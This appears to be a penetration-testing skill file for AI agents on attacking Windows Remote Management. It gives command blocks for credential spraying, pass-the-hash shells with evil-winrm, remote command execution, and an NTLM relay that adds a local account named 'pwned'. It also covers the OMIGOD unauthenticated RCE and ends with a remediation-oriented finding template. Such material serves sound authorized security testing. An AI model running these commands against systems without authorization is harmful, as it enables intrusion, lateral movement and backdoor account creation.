pentesting-winrm
$
npx mdskill add xalgord/xalgorix/pentesting-winrm- During authorized Windows/AD assessments when 5985 (HTTP) or 5986 (HTTPS) is open - When you hold valid credentials or an NT hash and want an interactive remote shell - When testing for NTLM relay opportunities against an unencrypted WinRM (HTTP) listener - When assessing Azure Linux hosts running OMI (OMIGOD, CVE-2021-38647) - When validating credentials at scale and checking which grant remote-exec
SKILL.md
.github/skills/pentesting-winrmView on GitHub ↗
---
name: pentesting-winrm
description: Testing Windows Remote Management (WinRM / WS-Management) during authorized engagements. WinRM exposes an
HTTP(S) SOAP interface for WMI/PowerShell remoting on 5985/tcp (HTTP) and 5986/tcp (HTTPS). Covers service detection
with Test-WSMan and netexec, credential validation and brute force, interactive shells with evil-winrm (password,
pass-the-hash, Kerberos, certificate auth), command execution, NTLM relay to WS-MAN, and the OMIGOD (CVE-2021-38647) RCE.
domain: cybersecurity
subdomain: network-services-pentesting
tags:
- penetration-testing
- network-services
- winrm
- windows
- lateral-movement
- command-execution
version: '1.0'
author: xalgorix
license: Apache-2.0
---
# Pentesting WinRM (port 5985/5986)
## When to Use
- During authorized Windows/AD assessments when 5985 (HTTP) or 5986 (HTTPS) is open
- When you hold valid credentials or an NT hash and want an interactive remote shell
- When testing for NTLM relay opportunities against an unencrypted WinRM (HTTP) listener
- When assessing Azure Linux hosts running OMI (OMIGOD, CVE-2021-38647)
- When validating credentials at scale and checking which grant remote-exec
## Quick Enumeration
```bash
# Port presence implies WinRM is configured
nmap -p5985,5986 -sV <IP>
# 5985/tcp Microsoft-HTTPAPI ; 5986/tcp is HTTPS
# From Windows: confirm a target is WinRM-configured
Test-WSMan <target-ip> # returns protocol version + wsmid if configured
# netexec / crackmapexec credential check (no interactive shell)
crackmapexec winrm <IP> -u <user> -p <password> -x "whoami"
crackmapexec winrm <IP> -d <Domain> -u <user> -H <HASH> -X '$PSVersionTable'
# Shodan-style discovery
# port:5985 Microsoft-HTTPAPI
```
## Critical: Checks Most Often Missed
1. **Valid creds ≠ WinRM access** — a user must be in the Remote Management Users group (or local admins). Always confirm with `crackmapexec winrm` before assuming evil-winrm will work; a green `(+)` with `(Pwn3d!)` indicates exec.
2. **Unencrypted HTTP listener (5985) → NTLM relay** — since impacket 0.11, `ntlmrelayx.py` can relay captured NTLM to WS-MAN/WinRM for SYSTEM-level code execution. Combine with mitm6/Responder coercion.
3. **OMIGOD (CVE-2021-38647)** — Azure Linux agents run OMI exposing WS-MAN on 5985/5986; a logic flaw allows **unauthenticated RCE as root** by omitting the auth header.
4. **Pass-the-Hash works** — evil-winrm authenticates with an NT hash (`-H`), no cleartext needed.
5. **Kerberos / certificate auth** — evil-winrm 3.x supports `-k`/`--spn` (Kerberos) and `--cert-pem`/`--key-pem` (certificate) for NTLM-disabled or cert-required environments.
6. **Brute force locks accounts** — WinRM brute forcing increments the bad-password counter; coordinate with the client and prefer validated single attempts.
How to CONFIRM: WinRM is confirmed configured when `Test-WSMan` returns protocol/wsmid data, or `crackmapexec winrm <IP>` responds. Remote-exec capability is confirmed by `(Pwn3d!)` in crackmapexec output or a successful `evil-winrm` prompt.
## Workflow
### Step 1: Enumerate (detect + validate)
```bash
nmap -p5985,5986 -sV <IP>
Test-WSMan <IP> # from a Windows host
crackmapexec winrm <IP> -u <user> -p <password> # validate creds
```
### Step 2: Authenticate (creds, hash, brute, Kerberos, cert)
```bash
# Validate / spray (mind lockout)
crackmapexec winrm <IP> -d <Domain> -u users.txt -p passwords.txt
# Interactive shell with evil-winrm
gem install evil-winrm
evil-winrm -i <IP> -u <user> -p '<password>'
evil-winrm -i <IP> -u <user> -H <NTHASH> # pass-the-hash
# Kerberos (3.x): needs a TGT (kinit) and SPN
RHOST=<IP> evil-winrm -i $RHOST -u <user> -k --spn HTTP/$RHOST
# Certificate auth (3.x)
evil-winrm -i <IP> -c cert.pem -k key.pem -S
```
### Step 3: Exploit / Extract (command execution)
```bash
# One-off command exec without a full shell
crackmapexec winrm <IP> -u <user> -p '<pass>' -x "whoami /all"
# PowerShell remoting from Windows
Invoke-Command -ComputerName <host.fqdn> -ScriptBlock {ipconfig /all} [-Credential DOMAIN\user]
Enter-PSSession -ComputerName <host.fqdn> [-Credential DOMAIN\user]
# pypsrp from Linux (CredSSP/Kerberos)
python3 - <<'PY'
from psrp.client import Client
c = Client('<host>', username='DOMAIN\\user', ssl=True)
print(c.execute_cmd('ipconfig /all').std_out.decode())
PY
```
### Step 4: Post-access / lateral movement
```bash
# evil-winrm built-ins: upload/download files, load scripts/binaries
# PS> upload /local/file C:\temp\file
# PS> menu ; invoke-binary <tab> # run in-memory binaries
# Enable WinRM remotely if not configured (needs creds + SMB/WMI)
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
PsExec.exe \\<host> -u DOMAIN\user -p pass -h -d powershell.exe "enable-psremoting -force"
# NTLM relay to WS-MAN (unencrypted HTTP listener) → SYSTEM exec
sudo ntlmrelayx.py -t wsman://<IP> --no-smb-server -smb2support \
--command "net user pwned P@ssw0rd! /add"
# OMIGOD unauthenticated RCE (Azure OMI, CVE-2021-38647) — authorized targets only
curl http://<IP>:5985/wsman -H 'Content-Type:text/xml' -d '<xml .../>'
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| **WinRM / WS-Management** | Microsoft SOAP-over-HTTP(S) protocol for remote management, backed by WMI |
| **PS Remoting** | PowerShell remoting (Enter-PSSession/Invoke-Command) running over WinRM |
| **Ports** | 5985 (HTTP), 5986 (HTTPS) |
| **Remote Management Users** | Group whose members may connect via WinRM without being local admin |
| **Pass-the-Hash** | Authenticating to WinRM with an NT hash via evil-winrm |
| **wsmprovhost** | Process hosting the remote PowerShell session on the target |
| **NTLM relay to WS-MAN** | Relaying coerced NTLM auth to a WinRM listener for code execution |
| **OMIGOD (CVE-2021-38647)** | Unauthenticated root RCE in Azure's OMI WS-MAN endpoint |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **nmap** | Detect 5985/5986 and service banners |
| **Test-WSMan** | Confirm a target is configured for WinRM |
| **netexec / crackmapexec** (winrm) | Credential validation, spraying, command execution |
| **evil-winrm** | Interactive shell with password/PtH/Kerberos/cert auth, file transfer |
| **impacket ntlmrelayx.py** | Relay NTLM to WS-MAN for SYSTEM exec |
| **pypsrp** | WinRM/PS-Remoting from Linux (CredSSP, Kerberos) |
| **mitm6 / Responder** | Coerce authentication to feed the relay |
## Common Scenarios
### Scenario 1: PtH Interactive Shell
A dumped local admin NT hash is reused: `evil-winrm -i <IP> -u Administrator -H <hash>` drops an interactive PowerShell shell, confirming lateral movement.
### Scenario 2: Remote Management Users Foothold
A low-priv user isn't a local admin but is in Remote Management Users. `crackmapexec winrm <IP> -u user -p pass` shows `(Pwn3d!)`, and evil-winrm yields a shell for further escalation.
### Scenario 3: NTLM Relay to WinRM
An HTTP (5985) listener with no EPA is targeted. mitm6 coerces a victim, and `ntlmrelayx.py -t wsman://<IP>` relays the auth to add a local admin account.
### Scenario 4: OMIGOD on Azure Linux
An Azure VM runs a vulnerable OMI. A crafted WS-MAN request with no auth header executes commands as root (CVE-2021-38647), reported as critical.
## Output Format
```
## WinRM Finding
**Service**: Windows Remote Management (WS-Management)
**Severity**: <Critical|High|Medium>
**Host**: <IP>:5985/5986
**Listener**: <HTTP|HTTPS> **Access**: <none|user|admin/SYSTEM>
### Summary
<What was found: valid creds w/ remote-exec, PtH shell, NTLM relay, OMIGOD>
### Evidence
- Command: <crackmapexec / evil-winrm / ntlmrelayx>
- Output: <(Pwn3d!), shell prompt, relay success, whoami output>
### Access Obtained
| Method | Result |
|--------|--------|
| evil-winrm PtH | PowerShell shell as <user> |
| ntlmrelayx | local admin account created |
### Recommendation
1. Disable the unencrypted HTTP listener; force HTTPS with EPA enabled
2. Restrict Remote Management Users membership to required accounts
3. Patch/remove OMI (>= 1.6.8-1) on Azure Linux and block 5985/5986 from the Internet
4. Enforce strong credentials and monitor Microsoft-Windows-WinRM/Operational (events 91/163/182)
5. Restrict WinRM access to management subnets
```